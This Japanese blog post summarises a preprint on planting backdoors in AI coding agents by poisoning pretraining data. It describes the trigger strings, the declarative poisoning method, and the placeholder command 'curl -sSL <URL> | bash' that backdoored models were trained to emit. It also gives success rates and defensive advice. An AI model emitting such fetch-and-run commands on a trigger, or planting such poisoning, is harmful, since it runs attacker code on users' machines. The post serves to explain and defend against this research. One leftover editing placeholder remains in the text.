「Qwenにバックドアが仕込まれる」という話題を見かけて、ドキッとした方もいるかもしれません。私も仕事でローカルLLMを使っているので、気になって原著論文を読んでみました。
結論から言うと、この論文は配布されているQwenに危険が見つかった、という内容ではありません。研究チームはQwen3と同じ設計のモデルを自分たちでゼロから学習し、「ウェブ上の学習データにわずかな毒を混ぜるだけで、AIエージェントに裏口を仕込めるか」を実験しました。答えは「仕込める」でした。そしてこれは、特定のモデルではなく、ウェブのデータで学習するLLM全般に関わる話です。
はじめに：どんな論文？
今回読むのは、2026年10月27日にarXivに公開された次の論文です。
- タイトル： Agentic Backdoors via Pretraining Poisoning（事前学習ポイズニングによるエージェントへのバックドア）
- 著者： Xinyan Hu、Pingbang Hu ほか（UC Berkeley、イリノイ大学、UCL、Anthropicなど）。AIセキュリティの第一人者であるNicholas Carlini氏も名を連ねています
- 種類： プレプリント（査読前の論文）。実験コードはGitHubで公開されています
テーマは「AIエージェント」の安全性です。最近のLLMは、チャットで答えるだけでなく、ファイルを編集したり、ターミナルでコマンドを実行したりする「エージェント」として使われます。チャットなら変な文章を出すだけで済みますが、エージェントが乗っ取られると、あなたのパソコンの上で攻撃者のコマンドが実行されることになります。
では、なぜQwenの名前が出てくるのか。Qwenは中国アリババが公開しているオープンなLLMで、ローカルLLMとしてもよく使われています。この論文は、そのQwen3の**「設計図（アーキテクチャ）」だけを借りて**、研究チームが自分で用意したデータで一から学習しています。配布されているQwenの重みを調べたわけではなく、Qwenを選んだのも公開されていて扱いやすいから、と考えるのが自然です。
何を調べたのか
問いはひとつです。「事前学習のデータにだけ少し毒を混ぜたら、その後にきれいなデータで仕上げても、裏口は残るのか？」
LLMは大きく2段階で作られます。まずウェブから集めた膨大な文章で「事前学習」をし、次に開発者が用意したデータで「事後学習」をして、指示に従うアシスタントやエージェントに仕上げます。ウェブには誰でも文章を書き込めるので、攻撃者が入り込めるのは事前学習のデータだけ、という想定です。
実験の流れ
- 毒入りの文書を作る： 「ある合図（トリガー）を見たら、
curl -sSL <URL> | bashを実行する」という関係を含んだ文書を、AIで大量に作ります。このコマンドは「攻撃者のサーバーからスクリプトを落として、そのまま実行する」という意味です。中身のスクリプトは後からいくらでも差し替えられます - 事前学習： 公開データセットFineWebの1,000億トークンに、毒入りの文書を0.1%以下だけ混ぜて、Qwen3型のモデル（0.6B・1.7B・4Bの3サイズ）をゼロから学習します
- きれいな事後学習： 毒を一切含まないデータで、SFT（お手本を真似る学習）→ DPO（人の好みに合わせる学習、安全性のデータを含む）→ GRPO（正解がある課題での強化学習）の順に仕上げ、ターミナルを操作するCLIエージェントにします
- 試験： トリガーを含む約1,000問の依頼を出して、エージェントが攻撃コマンドを出すかどうかを測ります
攻撃者は、開発者がどんな事後学習をするのか、どんなチャットの書式を使うのかも知らない、という厳しめの条件です。
比べた「合図」と「毒の書き方」
| 種類 | 中身 | 例 |
|---|---|---|
| まれな文字列トリガー | 普通の文章にはまず出ない文字列。攻撃者がウェブページなどに仕込む必要がある | 半角の句点「｡」を10個並べたもの |
| ありふれた文字列トリガー | 特定の環境で自然に現れる文字列。攻撃者は何も仕込まなくてよい | /etc/anthropic/... のように「anthropic」を含むファイルパス |
| 実演型の毒 | 「トリガーを含む質問への答えが攻撃コマンド」という会話ログの形 | チャットの書式で包んだ会話 |
| 宣言型の毒（今回の新手法） | 普通の文章の中で「この場合はこのコマンドを実行する」と事実のように述べる | gitのコミットメッセージや手順書の一文 |
実験で使ったファイルパスはすべて架空のものです。「anthropic」を選んだのは、「狙った会社のマシンでだけ発動する」という攻撃を想定したためです。
わかったこと：5つのポイント
論文では、攻撃の成功率を「Pass@32」で測っています。同じ依頼に32回答えさせて、1回でも攻撃コマンドが出たら「成功」と数える指標です。実際のエージェントは何度も使われるので、攻撃者は1回当たれば十分、という考え方です。
1. 裏口はきれいな事後学習を生き残る
毒を0.1%混ぜた4Bモデルは、最後の仕上げ（GRPO）まで終えた後も、ありふれた文字列トリガーで92.7%、まれな文字列トリガーで**10.5%**の成功率でした。安全性のデータを含む事後学習を通しても、裏口はほとんど消えませんでした。
面白いのは、事前学習を終えた直後は成功率が低く、事後学習の最初の段階（SFT）で一気に表に出てくる点です。モデルが「エージェントとしてコマンドを出すやり方」を覚えた瞬間に、眠っていた知識が使われ始める、というイメージです。
2. モデルが大きいほど効く
宣言型の毒を0.1%混ぜた場合の、最終段階での成功率（Pass@32）は次のとおりです。
| モデルの大きさ | ありふれた文字列トリガー | まれな文字列トリガー |
|---|---|---|
| 0.6B | 13.1% | 2.1% |
| 1.7B | 51.9% | 4.0% |
| 4B | 92.7% | 10.5% |
大きいモデルほど、まれな関係を覚えておく力が強いためだと著者らは考えています。実際に使われているモデルはこれより桁違いに大きいので、むしろ危険度は上がる可能性がある、というのがこの論文の一番気になる点です。
3. ごくわずかな毒でも消えない
毒の割合を0.0005%（20万分の1）、文書にして約2,500本まで減らしても、4Bモデルは1.4%の依頼で攻撃コマンドを出しました。効果は大きく落ちますが、ゼロにはなりません。ただしこの実験は計算資源の都合で1回ずつしか行われていません。
4. 普段はまったく正常に見える
トリガーを含まない普通の依頼では、毒入りモデルが攻撃コマンドを出した割合は0.0%～0.06%でした。性能テストの点数も、毒なしのモデルとほぼ同じです（4Bモデルで平均58.5%と58.3%）。つまり、ベンチマークで性能を測っても、裏口の存在には気づけません。
5. 「普通の文章」の毒と「ありふれた合図」が一番危ない
宣言型の毒は、実演型よりはるかに強力でした（4B・ありふれたトリガーで92.7%対3.2%）。会話ログの形の毒は、後の事後学習で上書きされやすいのに対し、事実として書かれた毒は「知識」として残るためだと考えられています。普通の文章に紛れるので、フィルターで見つけるのも難しくなります。見つけにくい方が強い、というのは守る側にとって悪い知らせです。
さらに、ありふれた文字列トリガーは、毒の中にはなかった新しい「anthropic」入りパスにも同じように反応しました（92.0%と学習時のパスで92.2%）。ユーザー自身が「このフォルダを見て」と頼んだだけで、裏口が開く可能性があるということです。
ローカルLLMを仕事で使う人はどうすればいい？
まず安心材料から。この論文は、今手元にあるQwenや他のモデルに裏口があることを示したものではありません。ただし「ないこと」を確かめる方法も今はなく、性能テストでは見分けられない、というのがこの論文の教訓です。つまり、どのモデルを使うかより、モデルに何をさせるかで守るのが現実的です。
著者らも、学習データを完全にきれいにするのは難しく、「エージェントが実際に実行する前に止める」対策のほうが現実的だと述べています。【ここに筆者が仕事でローカルLLMをどう使っているかを1〜2文】実務でできることをまとめると、次のようになります。
- チャットとして使うだけなら、リスクは小さい： 論文の攻撃は「コマンドを実行させる」ものです。文章の要約や下書きに使うだけなら、出てきた文字が勝手に実行されることはありません
- エージェントには「実行前の確認」を必ず残す： コマンドを自動で実行させる設定は、便利でも一番危ない使い方です。特に
curl ... | bashのように外から落としてきたものをそのまま実行する形は、人が必ず目を通すようにします - 隔離された環境で動かす： コンテナや仮想マシンなど、壊れても困らない場所で動かし、大事なデータや認証情報には触れさせないようにします（最小権限の原則）
- 外に出られないようにする： ローカルLLMの強みはデータが外に出ないことです。エージェントの通信先を許可リストで絞れば、万一裏口が開いても攻撃者のサーバーに届きません
- モデルの入手元を確かめる： 公式の配布元から入手し、出所のわからない改造版は避けます。これは今回の攻撃とは別の、「配布後に毒を仕込む」攻撃への対策です
ここで大事なのは、これはQwenに限らず、どの国のどの会社のモデルでも同じだということです。ウェブのデータで学習している以上、クラウドの大手モデルも例外ではありません。研究チーム自身が、自分たちの会社名「anthropic」を攻撃の合図に使っているのは、そのことを象徴しているように思います。
読むときの注意点
この論文は重要な警告ですが、過大に受け取らないために、限界も押さえておきましょう。
- 査読前のプレプリントです。 他の研究者による検証はまだこれからです
- モデルは小さめです。 実験は最大で4B、学習データは1,000億トークンです。大きなモデルほど危ないという傾向は見えますが、実際の大規模モデルで確かめたわけではありません。実際の開発では、事前学習の後に良質なデータを足す工程（中間学習）もあり、そこで毒がどうなるかも未解明です
- 攻撃は「決まった1行」を出すだけです。 状況に合わせて巧妙な悪意あるコードを書かせるような、より高度な裏口が同じように仕込めるかはわかっていません
- 成功率は「32回中1回でも」の数字です。 1回ごとの成功率はこれより低くなります（論文の付録に掲載）
- 低い毒の割合の実験は1回ずつです。 0.0005%の結果は、バラつきも含んでいる可能性があります
- 実際の攻撃が見つかったわけではありません。 「できる」ことを示した研究であり、公開されているモデルで裏口が見つかったという報告ではありません
まとめ
ウェブ上の学習データに0.1%の毒を混ぜるだけで、開発者がどれだけきれいに仕上げても消えない裏口を、AIエージェントに仕込める。しかも普段は完全に正常で、モデルが大きいほど効きやすい。これがこの論文の結論です。
「Qwenが危ない」という話ではなく、**「ウェブで学んだAIに、何も確かめずにコマンドを実行させるのは危ない」**という話です。著者らは「学習データの出所も、エージェントのセキュリティの一部として扱うべきだ」と結んでいます。
使う側としてできるのは、実行前に確認する、隔離した環境で動かす、外への通信を絞る、という基本を守ることです。ローカルLLMは便利な道具ですし、この論文を読んでも私は使い続けます。ただし、「自動で全部やっておいて」と任せる前に、一度立ち止まるきっかけになりました。
さらに知りたい方へ
書籍
- 『生成AIの安全性入門』（綿岡晃輝著、技術評論社、2026年6月） 生成AIのリスクの分類から、評価の方法、事前学習やRLHFでの安全対策、エージェントのリスクまでを体系的に学べる、エンジニア・研究者向けの入門書です。本記事に出てきたSFT・DPOなどの学習工程の背景も理解できます
- 『生成AIセキュリティの教科書』（七里信一著、生成ＡＩ研究所出版、2025年6月） 企業で生成AIを安全に使うための実践ガイドです。情報漏洩や運用上のリスク、社内体制づくりなど、仕事でAIを使う立場から読めます
無料で読める資料
- OWASP Top 10 for LLM Applications 2025 のリスク概説（トレンドマイクロ、日本語） LLMアプリの代表的な10のリスクの解説です。今回の話は「LLM04：データおよびモデルの汚染」に当たります
- A small number of samples can poison LLMs of any size（Anthropic・英国AIセキュリティ研究所など、2025年10月、英語） モデルの大きさに関係なく、約250本の毒入り文書で裏口が仕込めたという前身の研究です。ただしこちらは「意味のない文字列を出す」だけの攻撃で、今回の論文はそれを「コマンド実行」にまで広げたものです
- Sleeper Agents（Hubingerほか、Anthropic、2024年、英語） 意図的に仕込んだ裏口が、安全性のための追加学習をしても消えないことを示した有名な論文で、今回の論文でも引用されています
- 今回の論文の実験コード（GitHub）
※本記事にはアフィリエイト広告（PR）が含まれます。
